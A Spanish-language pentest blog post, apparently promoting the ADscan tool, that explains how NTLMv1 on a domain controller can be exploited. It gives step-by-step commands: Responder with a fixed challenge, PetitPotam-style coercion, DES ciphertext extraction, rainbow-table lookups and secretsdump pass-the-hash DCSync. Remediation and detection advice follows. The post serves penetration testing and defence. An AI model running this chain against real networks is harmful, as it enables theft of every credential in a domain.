Capturé un hash NTLMv1 de un Domain Controller esta semana. Tardé menos de doce horas en convertirlo en NT hash y ejecutar un DCSync completo. Sin GPU de alta gama, con tablas rainbow públicas y hardware consumer que cuesta menos de 600 dólares.
NTLMv1 lleva siendo inseguro desde 1999 y el ataque es conocido desde 2012. El cambio que lo convierte en urgente hoy es que en 2026 Mandiant publicó 8.6 terabytes de rainbow tables en Google Cloud Storage, gratuitas y accesibles para cualquiera. Lo que antes requería hardware especializado o días de cómputo ahora funciona en horas con una máquina de laboratorio.
Este post documenta la cadena técnica completa: por qué NTLMv1 es matemáticamente quebrable independientemente de la complejidad de la contraseña, cómo forzar al PDC a autenticar en NTLMv1, cómo extraer los ciphertexts DES del hash capturado, cómo consultarlos contra las tablas de Mandiant, y cómo ADscan detecta y clasifica la exposición durante un engagement.
MITRE ATT&CK: T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay + T1003.006 — DCSync. La cadena completa va de captura de autenticación a volcado completo de credenciales del dominio.
TL;DR:
- NTLMv1 usa 3 claves DES independientes sobre un challenge conocido → Known Plaintext Attack → recuperación garantizada.
- Responder
--disable-essfija el challenge a1122334455667788→ el DC responde con NTLMv1 crackeable. ntlmv1.pyextrae los 3 DES ciphertexts →crackalack_lookupcontra las tablas de Mandiant → NT hash completo.- NT hash del DC machine account → DCSync → todos los hashes del dominio.
- ADscan detecta si el PDC responde en NTLMv1 durante el check de Auth-Type y muestra la cadena de explotación en el panel.
¿Por qué NTLMv1 sigue activo en 2026?
Microsoft deprecó NTLMv1 formalmente en Windows 11 24H2 y Windows Server 2025. El problema es que "deprecado" no significa "desactivado" en los entornos que ya existen. En organizaciones que llevan años con Server 2016, Server 2019 o Active Directory levantado antes de 2020, NTLMv1 puede estar habilitado por una de estas razones:
La primera es una GPO heredada. Cuando un DC antiguo estaba configurado con LmCompatibilityLevel bajo para soportar clientes Windows XP o Vista, esa GPO sigue activa aunque los clientes legacy ya no existan. Nadie la tocó porque "funciona".
La segunda es compatibilidad con aplicaciones de negocio. Hay aplicaciones industriales, sistemas SCADA, impresoras de red y escáneres que solo implementan NTLMv1. El equipo de infraestructura bajó el LmCompatibilityLevel para que "el escáner funcione" y nunca lo restauró.
La tercera es desconocimiento del riesgo real. El ataque era conocido teóricamente, pero el esfuerzo computacional para ejecutarlo en la práctica era alto antes de que las tablas de Mandiant estuvieran disponibles públicamente. Con las tablas publicadas, el coste bajó a hardware de consumidor y paciencia.
El resultado: Mandiant reporta que sus consultores siguen encontrando NTLMv1 activo en entornos empresariales en 2026, más de dos décadas después de que la criptografía demostrara su inseguridad.
¿Por qué NTLMv1 es matemáticamente quebrable?
Entender el ataque requiere entender cómo NTLMv1 construye la respuesta al challenge.
El proceso empieza con el NT hash de la contraseña del usuario o de la cuenta máquina: 16 bytes generados con MD4 sobre la contraseña en UTF-16LE. Para construir la respuesta NTLMv1, ese NT hash se divide en tres fragmentos de 7 bytes cada uno. Si el hash tiene 16 bytes, los tres fragmentos son: bytes 0-6, bytes 7-13, y bytes 14-15 con padding de ceros hasta completar 7 bytes.
Cada fragmento de 7 bytes se usa como clave de cifrado DES independiente para cifrar el challenge de 8 bytes del servidor. El resultado son tres ciphertexts DES de 8 bytes que se concatenan para formar la respuesta de 24 bytes que el cliente envía al servidor.
NT hash (16 bytes): [K1: 7 bytes] [K2: 7 bytes] [K3: 7 bytes + padding]
↓ ↓ ↓
DES_K1(challenge) → CT1 DES_K2(challenge) → CT2 DES_K3(challenge) → CT3
↓
Response = CT1 + CT2 + CT3 (24 bytes)La vulnerabilidad es estructural. DES opera con claves de 56 bits efectivos. El espacio de búsqueda para cada fragmento de 7 bytes es 2^56 — manejable para precomputation a escala. Más importante: las tres claves son independientes. Eso significa que se pueden atacar por separado en paralelo, en lugar de buscar en el espacio de los 16 bytes completos del NT hash.
La condición adicional que hace el ataque trivial es el challenge conocido. En NTLMv2, el cliente contribuye su propio challenge aleatorio (llamado NTProofStr), lo que hace que la respuesta varíe en cada sesión y las rainbow tables sean imposibles. NTLMv1 sin ESS (Extended Session Security) usa solo el challenge del servidor. Si ese challenge está fijado a un valor conocido y constante, tienes un Known Plaintext Attack clásico: el ciphertext es conocido, el plaintext (el challenge fijo) es conocido, solo necesitas encontrar la clave.
Responder con --disable-ess hace exactamente esto: responde con el challenge fijo 1122334455667788 en el NTLMSSP_CHALLENGE, lo que fuerza al cliente a usar NTLMv1 sin ESS. Las tablas de Mandiant están precomputadas para ese challenge específico.
Las tablas rainbow de Mandiant
Las tablas que Mandiant publicó en 2026 son el resultado de precomputar todos los posibles valores de los tres fragmentos DES para el challenge fijo 1122334455667788. El tamaño total es 8.6 terabytes, distribuidos en Google Cloud Storage bajo el bucket público net-ntlmv1-tables.
La idea del ataque con rainbow tables viene del trabajo de Philippe Oechslin de 2003. La aplicación específica a NTLMv1 con challenge conocido fue documentada en DEFCON 20 (2012) por Moxie Marlinspike y David Hulton. Lo que Mandiant hizo en 2026 fue generar las tablas completas y publicarlas gratuitamente para que defensores y pentesters pudieran demostrar el riesgo sin necesidad de generarlas ellos mismos (proceso que habría requerido hardware especializado durante semanas).
El resultado práctico: con las tablas descargadas y el ciphertext extraído del hash capturado, la lookup devuelve las claves DES en minutos por fragmento. El tiempo total en hardware consumer con una tarjeta gráfica moderna está bajo las 12 horas para los tres fragmentos combinados.
La cadena de ataque paso a paso
Paso 1: Configurar Responder con challenge fijo
El prerrequisito es estar posicionado en la red con capacidad de recibir tráfico SMB entrante. En un pentest interno con acceso a la red corporativa, esto es trivial.
# Editar /etc/responder/Responder.conf
Challenge = 1122334455667788
# Lanzar Responder deshabilitando ESS
responder -I eth0 --disable-ess --lm -vEl flag --disable-ess es crítico. Sin él, Responder negocia ESS por defecto, lo que añade el challenge del cliente y hace el hash incompatible con las rainbow tables.
Paso 2: Coercionar al PDC para que autentique
La coerción es la técnica de forzar a una cuenta privilegiada (en este caso la cuenta máquina del PDC) a autenticar contra un listener controlado. Hay múltiples protocolos que permiten esto:
EfsRpcOpenFileRaw (EFSR / PetitPotam): Abusa del servicio de cifrado de ficheros EFS para forzar autenticación contra una ruta UNC controlada. Es el método nativo que usa ADscan.
PrintSpooler (PrinterBug): El clásico. MS-RPRN permite triggerar autenticación si el spooler está activo.
DFSCoerce: Abusa del protocolo DFS via MS-DFSNM.
Todos consiguen el mismo resultado: el PDC autentica con su cuenta máquina ([email protected] en el ejemplo) contra el listener de Responder.
ADscan ejecuta esta coerción de forma nativa, sin impacket ni herramientas externas:
[*] Checking NTLM auth type for PDC via coerced authentication to listener
[+] Captured NTLMv1 authentication from MEEREEN$ via PDC coercion.Paso 3: Extraer los ciphertexts DES con ntlmv1.py
El hash capturado por Responder tiene el formato NTLMv1-SSP. La herramienta ntlmv1.py del repositorio ntlmv1-multi descompone la respuesta de 24 bytes en los tres ciphertexts DES de 8 bytes cada uno:
python3 ntlmv1.py --ntlmv1 MEEREEN$::ESSOS:hash_capturado:1122334455667788El output incluye los tres ciphertexts en formato compatible con crackalack_lookup:
[+] CT1: <8 bytes en hex>
[+] CT2: <8 bytes en hex>
[+] CT3: <8 bytes en hex>Paso 4: Consultar las rainbow tables de Mandiant
Con las tablas descargadas de Google Cloud Storage:
# Descarga (8.6TB — selecciona solo las tablas necesarias)
gsutil -m cp -r gs://net-ntlmv1-tables ./ntlmv1-tables/
# Lookup para cada ciphertext
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT1
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT2
crackalack_lookup ~/ntlmv1-tables/ ~/DES/CT3Cada lookup devuelve los 7 bytes de la clave DES correspondiente. El tiempo por lookup depende del hardware — en una tarjeta gráfica consumer moderna, el proceso completo está bajo las 12 horas.
Paso 5: Reconstruir el NT hash
Concatenar los tres fragmentos de 7 bytes recuperados da el NT hash completo de 16 bytes de la cuenta máquina del DC.
Paso 6: DCSync
Con el NT hash de la cuenta máquina del PDC (MEEREEN$), el atacante puede ejecutar DCSync usando pass-the-hash. La cuenta máquina del PDC tiene los derechos de replicación necesarios para solicitar todos los hashes del dominio:
secretsdump.py -hashes :NT_HASH 'essos.local/[email protected]' -just-dcEl resultado: todos los NT hashes del dominio, incluyendo el hash de krbtgt (Golden Ticket), el hash del Administrator, y las cuentas de servicio. Domain compromised.
El panel de ADscan después de la captura
ADscan ejecuta el DC NTLM Auth-Type Check como parte del scan automático. Cuando detecta NTLMv1, el panel de resultado muestra la severidad y los pasos exactos de explotación:
╭─ NTLM Capture captured ──────────────────────────╮
│ │
│ Verdict [+] NTLMv1 authentication captured │
│ from coerced PDC │
│ Principal [email protected] │
│ Posture [!] NTLMv1 from DC machine account — │
│ NT hash recovery guaranteed via │
│ rainbow tables │
│ │
│ Next: │
│ > Extract DES ciphertexts: │
│ ntlmv1.py --ntlmv1 <hash> │
│ > Query Mandiant rainbow tables (8.6 TB): │
│ crackalack_lookup ~/ntlmv1-tables/ ~/DES │
│ > NT hash recovered → DCSync for full domain │
│ compromise (guaranteed, <12 h HW) │
│ > If SMB signing unenforced: relay with │
│ ntlmrelayx instead of cracking │
│ > Inspect full hash in SMB listener log │
│ │
╰────────────────────────────────────────────────────╯El "Posture" indica explícitamente que la recuperación es garantizada, no un ataque de diccionario que depende de la debilidad de la contraseña. Da igual que la contraseña del DC sea Password123 o una secuencia aleatoria de 32 caracteres. Si NTLMv1 está habilitado y el challenge es fijo, el NT hash se recupera.
¿Por qué relay puede ser mejor que cracking en algunos casos?
Las rainbow tables dan el NT hash en horas. Pero si el entorno tiene SMB signing deshabilitado en otros hosts, el relay es más rápido: la autenticación capturada del DC se redirige en tiempo real a otro servidor para autenticar como la cuenta máquina del PDC sin necesidad de crackear.
La ventaja del cracking es que el NT hash recuperado es permanente y reutilizable. Puede usarse días o semanas después para DCSync, autenticación Kerberos, o cualquier operación que acepte pass-the-hash.
Detección y remediación
Para defensores:
La solución directa es subir el LmCompatibilityLevel a 5 en todos los DCs:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel = 5El valor 5 fuerza NTLMv2 y rechaza NTLMv1. Si hay aplicaciones legacy que requieren NTLMv1, el remedio correcto es aislarlas en un segmento de red dedicado con controles de acceso estrictos, no bajar la configuración global del DC.
Para la detección, el indicador más confiable no es la captura del hash sino el origen de la coerción. En Windows Event Log:
- Event 4624 (Logon success) con
AuthenticationPackageName: NTLMyLmPackageName: NTLM V1— NTLMv1 usado para autenticar - Event 5145 (Network share object access check) con rutas UNC sospechosas apuntando a IPs externas al dominio — indicador de coerción EFSR/RPRN
- Defender for Identity genera una alerta específica para coerción a listener externo
Para CISOs:
Si tu dominio tiene entornos con Server 2016 o 2019 sin política explícita de NTLMv1, la probabilidad de exposición es alta. Un pentester con acceso a la red interna puede comprometer el DC machine account en minutos una vez detecta NTLMv1 activo. La remediación es un cambio de GPO de cinco minutos. El coste de no hacerlo es una brecha completa del dominio.
¿Qué diferencia NTLMv1 de NTLMv2 para el atacante?
Esta es la pregunta que más importa para entender el riesgo:
| Característica | NTLMv1 | NTLMv2 |
|---|---|---|
| Challenge del cliente | No existe | Sí (aleatorio por sesión) |
| Rainbow tables posibles | Sí (si challenge servidor es fijo) | No (challenge cambia cada sesión) |
| Garantía de recuperación | Sí (con tablas precomputadas) | No (solo diccionario/brute force) |
| Dependencia de la complejidad de contraseña | Ninguna | Alta |
| Hashcat mode | 5500 (NTLMv1-SSP) | 5600 (NTLMv2) |
| Tiempo de crack con tablas | <12h (hardware consumer) | Indefinido (depende de wordlist) |
Para NTLMv2, un atacante que captura el hash no tiene garantía de recuperarlo nunca si la contraseña es suficientemente compleja. Para NTLMv1 con challenge fijo, la recuperación es matemáticamente garantizada independientemente de la contraseña.
Conclusión
NTLMv1 activo en un DC equivale a tener la contraseña de la cuenta máquina expuesta a cualquier atacante con acceso a la red interna y paciencia. La publicación de las tablas de Mandiant en 2026 eliminó la barrera de hardware que antes hacía el ataque impractical para la mayoría de atacantes.
La remediación es un cambio de configuración de cinco minutos. El riesgo de no hacerlo es el compromiso completo del dominio.
ADscan detecta la exposición a NTLMv1 durante el engagement: coerce el PDC, clasifica la respuesta como NTLMv1 o NTLMv2, y muestra el panel con la cadena de explotación verificada. Repo público: https://github.com/ADScanPro/adscan
Si encuentras NTLMv1 activo en un entorno y tienes resultados que contradicen o complementan esta cadena, abre un issue en el repo.
ADscan PRO beta (engagement automation completo + reporting ENS/DORA/ISO + attack graph): solicitar beta
Fuentes:
- Mandiant/Google — Net-NTLMv1 Deprecation and Rainbow Tables: https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables/
- Tablas públicas Google Cloud Storage: https://console.cloud.google.com/storage/browser/net-ntlmv1-tables
- Sprocket Security — Cracking NTLMv1-SSP with Rainbow Tables: https://www.sprocketsecurity.com/blog/cracking-ntlmv1-ssp-with-rainbow-tables
- Philippe Oechslin — Making a Faster Cryptanalytic Time-Memory Trade-Off (2003)